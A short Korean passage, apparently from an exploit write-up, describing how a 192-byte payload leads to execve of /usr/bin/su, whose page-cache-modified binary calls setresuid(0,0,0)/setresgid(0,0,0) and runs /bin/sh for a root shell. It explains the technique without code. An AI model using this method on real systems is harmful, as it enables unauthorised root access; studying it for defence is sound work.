실행 : 192바이트의 페이로드가 모두 검증되면 execve("/usr/bin/su")가 실행
•
이제 캐시 내에서 수정된 바이너리가 setresuid(0,0,0) / setresgid(0,0,0)를 호출하고 /bin/sh를 실행(exec)






